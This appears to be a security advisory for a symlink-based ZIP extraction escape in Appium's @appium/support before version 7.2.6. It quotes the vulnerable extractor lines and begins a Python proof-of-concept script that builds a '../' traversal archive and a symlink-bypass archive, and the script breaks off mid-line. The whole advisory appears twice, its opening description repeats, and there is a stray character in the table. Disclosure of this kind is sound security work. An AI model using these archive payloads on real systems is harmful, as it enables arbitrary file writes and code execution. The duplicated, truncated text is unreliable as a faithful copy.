CVE-2026-103975

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.

Summary

CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like ../evil.txt was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.

This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example pwn and pwn/owned.txt, no .. anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.

The two issues compared on the same patched version 7.2.5:

| | CVE-2026-30973 | This finding | |---|---|---| | Vector | one entry whose name contains .. | a symlink entry plus a file written through it | | Entry names | contain .. (illegal) | legitimate, no .. and not absolute | | What is missing | the .. name chec\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked | | Entries needed | one | two | | Fixed in 7.0.6 | yes | no | | Status on 7.2.5 | blocked | still exploitable (proven below) |

Details

Root cause

The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:

// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks
98       throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99   }
...
142  await fs.symlink(link, dest);                // link target comes verbatim from the archive

isSubPath compares normalized strings and does not call realpath, so for the file entry pwn/owned.txt the destination dir/pwn/owned.txt is lexically inside dir and the check passes, even though dir/pwn is a symlink created by the previous entry that points outside dir. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.

PoC

<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />

build_zips.py

#!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt"            # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
    z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")

# Test B: symlink entry whose target escapes, then a file through it 
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
    sl = zipfile.ZipInfo("pwn")
    sl.create_system = 3                       # unix, so external_attr carries the mode
    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777
    z.writestr(sl, escapeB)                     # symlink target is the file body
    fi = zipfile.ZipInfo("pwn/owned.txt")
    fi.create_system = 3
    fi.external_attr =…

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 7.2.6, @appium/support ZIP extraction accepts an archive entry that creates a symbolic link to a location outside the extraction directory and then accepts a later regular-file entry whose legitimate name resolves through that link. The lexical containment check examines entry names without validating the symlink target or the real destination, so an attacker-controlled archive can write files to arbitrary locations writable by the Appium process. This is distinct from the earlier parent-directory entry-name traversal fixed in 7.0.6 because the bypass uses no parent-directory or absolute entry name. Depending on the writable destination, the arbitrary file write can overwrite configuration, startup scripts, or executables and lead to code execution. This issue is fixed in version 7.2.6.

Summary

CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like ../evil.txt was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.

This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example pwn and pwn/owned.txt, no .. anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.

The two issues compared on the same patched version 7.2.5:

| | CVE-2026-30973 | This finding | |---|---|---| | Vector | one entry whose name contains .. | a symlink entry plus a file written through it | | Entry names | contain .. (illegal) | legitimate, no .. and not absolute | | What is missing | the .. name chec\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked | | Entries needed | one | two | | Fixed in 7.0.6 | yes | no | | Status on 7.2.5 | blocked | still exploitable (proven below) |

Details

Root cause

The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:

// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97   if (!isSubPath(dest, dir)) {                 // lexical only, never resolves symlinks
98       throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99   }
...
142  await fs.symlink(link, dest);                // link target comes verbatim from the archive

isSubPath compares normalized strings and does not call realpath, so for the file entry pwn/owned.txt the destination dir/pwn/owned.txt is lexically inside dir and the check passes, even though dir/pwn is a symlink created by the previous entry that points outside dir. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.

PoC

<img width="1443" height="411" alt="image" src="https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a" />

build_zips.py

#!/usr/bin/env python3

import os, sys, zipfile, shutil

work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt"            # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
    z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")

# Test B: symlink entry whose target escapes, then a file through it 
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
    sl = zipfile.ZipInfo("pwn")
    sl.create_system = 3                       # unix, so external_attr carries the mode
    sl.external_attr = (0o120777 & 0xFFFF) << 16   # S_IFLNK | 0777
    z.writestr(sl, escapeB)                     # symlink target is the file body
    fi = zipfile.ZipInfo("pwn/owned.txt")
    fi.create_system = 3
    fi.external_attr =…